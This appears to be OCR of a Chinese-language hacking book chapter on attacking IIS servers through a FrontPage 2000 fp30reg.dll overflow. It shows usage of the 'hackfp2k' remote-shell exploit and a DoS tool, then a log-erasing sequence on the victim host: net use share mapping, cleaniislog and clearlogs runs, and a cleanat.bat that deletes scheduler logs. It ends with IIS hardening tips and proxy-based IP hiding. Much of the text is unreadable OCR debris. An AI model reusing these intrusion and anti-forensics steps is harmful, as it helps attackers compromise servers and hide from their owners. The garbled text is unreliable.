shiml CAHTHAT \Sy=tem32\inetsrvhssin GET,
7.4.2 “ ” I “ WHIFHT 'Svstem3Zhinetsrvhssin . . GET
< WWIHHT W33 wiprt. d11
» |* Internet " 1" Web L " |
| ” .printer 7-5-10 o | sEe | #Be |

= m | EEwe | #=m |
http://www.microsoft.com/Downloads/Release.asp? 7-5-10 printer
ReleaselD=29321
H.é‘FthPage 2000
FrontPage2000 fp30reg.dll

fp30reg.dll 258 URL

fp30reg.dll
“ The server is unable to perform the method [ ] at this time”
fp30reg.dll USER32.wsprintfA()

USER32.wsprintfA()
<HEAD><TITLE>HTTP Error 501</TITLE></HEAD><BODY><H1>NOT IMPLEMENTED </H1>

The server is unable to perform the method <b>%s</b> at this time.</BODY>
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+256

11S 5.0 11IS 11S 4.0
11S 5.0 IWAM_machinename 11S 4.0
Local Systenm

\

fp30reg.dll “ \Program Files\Common Files\Microsoft Shared\Web Server
Extensions\40\bin\” : fpdareg.dll unicode

7.6.1 FrontPage 2000

1 FrontPage 2000 1S
FrontPage 2000
7.4.1 ofscan 11S Remote Overflow Exploit

Scanner 11S

ofscan /fp2k [Begin IP][End IP] 7-6-1

7-6-1 1P FrontPage 2000
FrontPage 2000 1P
2.
FrontPage 2000 11S
hackfp2k DOS
cmd Dos

hackfp2k [ IP] [host port] [shell option]
host port 80
shell option 1 2 Telnet 23

7-6-2

D:“toolssiis>hackfp2k 18.8.14.21 88 1

Design Bg.,l:?}:':I ]
http:/sfagdiy.

7-6-2 hackfp2k

Enter
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7.6.2 FrontPage 2000

FrontPage 2000

1
Windows 2000 SP3
Windows 2000
“ K K "
7-6-3
SP3 SP3
Service Pack Windows 2000

S P4
http://www._microsoft.com/windows2000/downloads/

servicepacks/sp4/default.asp

Microsoft Windows NT 4.0

http://www.microsoft.com/Downloads/
Release.asp?ReleaselD=31038

Microsoft Windows 2000

http://www.microsoft.com/Downloads/

Release.asp?ReleaselD=30727

2.

fp30reg.dll  fpdareg.dll

Ofscan
.idg/.ida .printer .asp
FrontPage Web
7-6-4 iis_dos
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iR By | BrmET | mE |

R

N
FERRE:

Microsoft Windows 2000
5.00.219

stream
ca
SEET3-007-5302371-097T9

HEL:

Intel (R)
(R) 4 CFU 1.80GHz
AT/AT COMPATIELE
261,620 KB RAM

HiH

7-6-4

7-6-3

1is_dos




N

1S

1 Cleaniislog

Cleaniislog.exe
7-7-1

Www

log Cleaniislog Clear

888 [Wersion 5.088.21951
1985-2008 Microsoft Corp.

C:“Documents and Settings™Mdministrator>d:

D:v>ed “toolshiis

tools\i

*net use “~1B.0.14.21Nipes

*net use M: “\18.8.14.21%c%

logs

suseriadministrator

cleaniislog.exe

D:MtoolsNiis>copy cleaniislog.exe M=

D:NtoolsNiis>

1.1.3
1P

7-7-1 Cleaniislog

A E SEE FEW W TAD #Bo |ﬁ

GRR -+ - QA 4 Qew LwwE gEE 3| 7

Hihk @) Ig] http:/fwww. haclker8l net/index. asp :_l “("?5-’?3] ‘ HE »

Google - | i -

Q [pan /"\\-@ 2 |
u%. () :I:E = FERiE | W

MM AR SEREWIET

B fmahres el 186 1776

)

» LR CE| i (» EET e v
< »
!&l [_!"ng—lg Internet 4 A
1P

7-7-2
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3 1S

at Cleaniislog.exe 7-7-3
D= “toolsN\iisdnet time “™\10.8.14.21

\i8.8.14.21 {2 E(E[E2 2804227 L 18:22

D:\too shiisr>at \\1@.3.14.21 18:24 c:~cleaniislog.exe 18.8.13 .16
TN T —Ta ek, HiEdk 1

=1

cleaniislog.exe
toolssiisz>at ~N1B0.8.14.21

ID:~tools\iis>del m:cleaniislog.exe

7-7-3

clearlogs

Windows System log
Security Log Applications Log

7-7-4

D:~toolssiis>clearlogs ~1B8.8.14.21 —-app

Clearlogs 1.8 — {(c> 2882, Arne Vidstrom C(arne.vidstromBPntsecurity.nud
— http:s/ntsecurity.nustoolbox/clearlogs/

Success: The log has been cleared

D:NtoolsNiis>

D:“toolssiis>clearlogs ~~\18.8.14.21 -sec

Clearlogs 1.8 — <c> 2882, Arne Uidstrom C(arne.vidstrom@ntsecurity.nud
- http:rss/ntsecurity.nustoolboxsclearlogss

Success: The log has bheen cleared

|ID:“toolssiis>clearlogs “N1A.A.14.21 —sys

Clearlogs 1.8 — <c2> 2802, Arne Uidstrom {arne.vidstrom@ntsecurity.nul
— http://ntsecurity.nustoolbhox/clearlogs”

lSuccess: The log has heen cleared
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Windows

1 Www
WEB Server Windows \system32\logfiles\w3svc? ?
C:\winnt\ system32\logfiles\w3svcl log file
1P
‘?@ ex*.log
2 FTP
FTP Windows System32\logfiles\msftpsvc?(? )
C:\Winnt\System32\logfiles\msftpsvcl , www
3
Winnt Windows 2000 Windows
System32\config c:\winnt\system32\config SecEvent.evt SysEvent.evt
AppEvent.evt
“ K K 21 x|
» “ " « " HEREREL T EE AT EEMITE.
A BT IR B
| “ " ¢ FHHE (ETEER s AL L)
1P 7-7-7 & B—aitEd @ |0.0.14.21 BN @), .. |
7-7-8 “ "
Y T Bl
7-7-7 1P
[ Bi4EER — O] x!
| #tw sEw e | A 0B @
#| E2lE s IBH
[ BHEEE 10.0.14.21) = | B [ EfiE
sz af HIhERHE F004-2-27 11:03
Erare i) MR 2004-2-27 1102
R5 SIFFEELR Q) s 2004-z-27 1102
BEERIEW. £MWEEHE 2004-2-27 1102
HEEEEE W) HMEEHE 2004-2-27 1102
B ThEE 2004-2-27 10:57
Tham
IR ) (,2') TR N AEERE Fkt " ¢
SHAFRL. .. ] Fw | ma |
Bt ®
) | | i
wEEemiEReEME
7-7-8
4 Scheduler log
Scheduler Windows
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C:\winnt schedlgu.txt Windows 2000 Schedlog.txt Winnt
at

Service
Schedlgu.txt Schedlog.txt

Schedlgu.txt Schedlog. txt

at Cleanat.bat
tools iis>»copy cleanat.bat M:
@echo off; Dos ; cleanat.bat
net stop“ task scheduler”>NULL D:\toolsNiisdnet time \\18.0.14.21

Bf[8-2 2084,2-27 L 14:11

del %Systemroot¥%\schedlgu.txt>NULL

Winnt iisdat \\10.8.14.21 11:13 c:

i E:“ T “cleanat.bat
i b, Bl 10 -1
Schedlog.txt ’ » B1F 11:13  cleanat.bat

D:stoolsNiiskat “\\1H8.8.14.21
£

8 B
C:\ at :

Cleanat.bat

Schedlgu. txt Schedlog. txt

7-7-9

del M:winntsshedlgu.txt

gl W 1S

11S 11S
11S Web
7.8.1 Windows 2000
Web “ " —— Windows 2000 “ "
——11S 11S Windows 2000 11S Windows NTFS
11S Windows 2000 Web
Web
1 NTFS
NT NTFS NTFS FAT
NTFS
2
Windows 2000 “ "
“ / " “Regedit”

“ HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters”
AutoShareServer REG_DWORD 0 “ "
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Everyone “ "
Everyone Web
4.
adminstrator
administrator " |*“ "
o TCP/IP - NetBIOS 2
NetB10S b o o |
“ B . i WINS Mtk o R TR o)
” “ " “ Internet [
(TCP/1PY" |* L e WINS « 2]
TCP/I1P NetB10S” TCP/I1P NetBI10S
Foe.. | &5 | #Eo |
7-8-1
WA UMSTS #E, BEEATHREER 108/ EE.
6.TCP/IP ¥ BF sTs S W) S umstsw).. |
1 TCP/I1P ¢ EF ICR/IF _EAY HetBIOS ()
) e e . R R R T
@AI%E DI JBSBA NetBI0s BE ()
- ” « " “ Internet
(TCP/1PY” | T T ”
“ TCP/IP ” « ”
“ ” “ " 7_8-92 ABE B |
80 7-8-1 TCP/1P NetB10S
| el 5
v BH TCR/IF Wik (FREISECRR) (B)
2 E) & EFAE W) &+ 2ESF )
mfv BARTE ) — O B — O BAniFL) —
TCE mO | unE O IF HHE
G| .. |
Bz e | Bz | Bz |
wmE | B |
7-8-2 TCP/IP
2 1P
IPSec Policy Filters |IP TCP/IP “ "
TCP/IP
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s IR

| e = 1B =l sl e Er ]

80

B

7| Ein B
wEwE
éq i P ms wrlRes Eg
-8
- SR AR Ir Tewn
\g IF ZeEE, £ & HE"%‘%% [ i S S2H Kerbero=z {F1E. ..
B FBEE e tbiosifi
7-8-3 IP
7.
DDoS SYN TCP

HKLM\System\CurrentControlSet\Services\Tcpip\Parameters

TCP/IP SYN-ACKS SYN-ATTACK
7.8.2 IS
1.11S
11S
1 1S
11S
11S
2 1S
11S \inetpub Web \inetpub\wwwroot
3 Windows  1IS
11S
2_11S
1
11S wwwroot

I1SSamples MSADC

2 1S
11S
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HTEE 1P B, 2.
FEFim (IR HTIEEEN GRRmE.

o T oY I Mg

SynAttackProtect 2

11Ss

I11SHelp [11SAdmin

Program files



° Internet

e SMTP Service

e ASP
vbs asp

e EXE

4
1SS
.shtml

Internet

.stm .printer

HTML Web 11S Web
NNTP Service
1S Internet
default.asp B HE
B 22 |#E |
Egin | ﬁm@%.'
!ﬁEveryone W ® |
Web
HHER ()
ST
[t
HTM HTML ERRIET
=08
EA
cgi - :
sme. . | WIRREEE  BEREEUASE. iF
7-8-4 8 ¥ =l Bh.
[ feifes B REAT S AR ER SIS 1ZH R 0D
W= B | mAw |
7-8-4
.htw .ida .idq .asp .cer .cdx .asa -htr .idc .shtm
1SS
.asp .shtm .shtml .stm 4
.htr _idg/ida .printer
EHEFKE ]
Emﬁﬁﬂﬁ|mﬁ%ﬁﬁﬁ|&ﬁ&ﬁlmﬁ%ﬁﬁﬁ|
v &7 ISaPT HER ©)
— [ A PR
’ TS | A e [t
u n . asp D AWINHT \Sy=tem3Zhinetsrvhiazp, d11 SET, HE.
. shtm D AWINNT \Swstem3Z\inetsrvizzin, .. GET, BO;
” . shtml D \WINNT \Sy=tem32iinetsrvizsin .. GET, PO:
. 5tm D AWINNT \Swstem3Zhinetsrvissin, .. GET, PO
7 -
4| | H
; . / #mo | wmEw
wme | B | mAw | @8 |
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Eh &SRR AERD Bap E

ATHAAT IO G0 D0 \KINNT\Systen3Ziwebhi ts. dl1 Il (B). .. |
FREE: htw
Ehitk
 2EEhE W)
& FBF():  [GET, HEAD, PO3T
¥ RS2 (5)
v Y
W L
7-8-6
11S

wWinDir%\System32\LogFiles

”

“lInternet

n “ ”

FrAOLERER E3

RHER |y R |
% BEmiEER
fa =2 )
&SRO
C ZEW
CEAW
B TRRR ()
ek AT @)

[ A5 ElS G A HEE (1)

BRI AR L)
I%‘N inDir$System3ZiLozFiles|

BHREIEE:  #35VC3\exyymndd. log

b

EEw | Em |

NTFS
1S

Windows

1S

NTFS



g™ Mp

www 80 FTP 21 25 110

81.1 IP

“ QQ XP” “ SocksCap32”

QQ XP QQ QQ 1P

00 XP” 8-1-1 “ ” Socks5



“ M Ip Ip
“ 1P” 8-1-2
3 . gp (0901} —JE[@E] TR AEE kP (03010
Z5 @ A® | |LRs mm ma
; = . 1 2 4 = ) =
e B e e e e H EERD MESTO oM ke FR® B
TR e R, i |
& SOCKS  HTTP v B R ' SOCKE " HTTP || v AT
i [ Sockb
[ Pt EEEE AT b T i :
; g 513
202.102. 2. 28 45578 A2
21R. 22. 24, 34 1325 &
61,54, 33. 4 80 = 266
211.200.86.146 | 1813 =& 26
211. 25. B4, 28 34775 & 34
202. 99, 195, 60 1813 | & 531 IS
£1.54. 231, 120 8080 & B84
200,168,142, 218 1978 & 1391 B R
202.108. 156,68 | 1813 =& 3203 Jh=m
5 > 4] | 2
sE M EEIE! http: /fwwr. 0288, net SERTwE I ®:HnAE HER Tk
8-1-1 “ " 8-1-2 “ 1P”
SocksCap32 “ I "
1P “ Socks Server” 8-1-3

“

Socks Version 5”

“ ”

I0CES BE |E§§i§3§| | |
= 12 {1 IR 2 B H TSR AR i T I /
s y

RSB
| |1Bi7

SOCKS FR4S8E :

it
" SOCKES Version 4
SUCKS: R

stream

{+ SOCKS Version 5

oINS AR

& FEE T

S EEIRART

© ST S TR

FES AT
(rmpzmﬂ

|

=Cap Contral
It HF FE
O X | & | 3
[elete | Modify P!

)

|Hew application profile|

SocksCap32

Bt E [
T |
THER |
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Wew Application Profile

BB HE [an
fﬁ’%ﬁ IC: \WIN'NT\systemSZ\h,éro\QQ. exe
IfEEZ: IC: WHINHT  =ystem32iher ot
w | mm |
8-1-6 QQ
* OK“ QQ SocksCap32 [gm
‘ap SocksCap Control
8-1-7 SocksCap32 QQ ik BE EEE)
QQ 1P =
I (4
1P QQ Mew | Delete | Madify Rur!
=t
1P
@ P 00 || TEMPLORE
1P
1P
MultiProxy HTTP 1P
1E
h ©t t p = / [/
www.publicproxyservers.com/pagel.html 8-1-7 SocksCap32 0
page2.html page3.html paged4.html page5.html
1P Word
“ Ctrl+Shift+F8” 1P
XX X XXX, XXX _xxx:iport TXT
6 ,?@‘
TXT
BBS
MultiProxy “ " 8-1-8

H—l HNultiProxy wl.2a
ITiE HERRE) R

FEEE ki

WERARAE
FRHEE

SEE TGS A 127 0.0.1 B0 s0ss HETIEE Bl
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8-1-10

“ »

BA®

o ERED
Ul
il URL
SEHIAE

BRO0 ). .
SR R
HHEs: @)
LI (F)
1 ()

EREREOD

R FRTEIER

B HERT ()

e
o~ EELHE
O CREHE ERE
AR EAHIERS S

« 30"

THILE | (RS I | mgET |

.
i)

v BehetilliL ARk

[ BehetEE

v HIEE Behn I IER

[ RFFEERIRE I8 P
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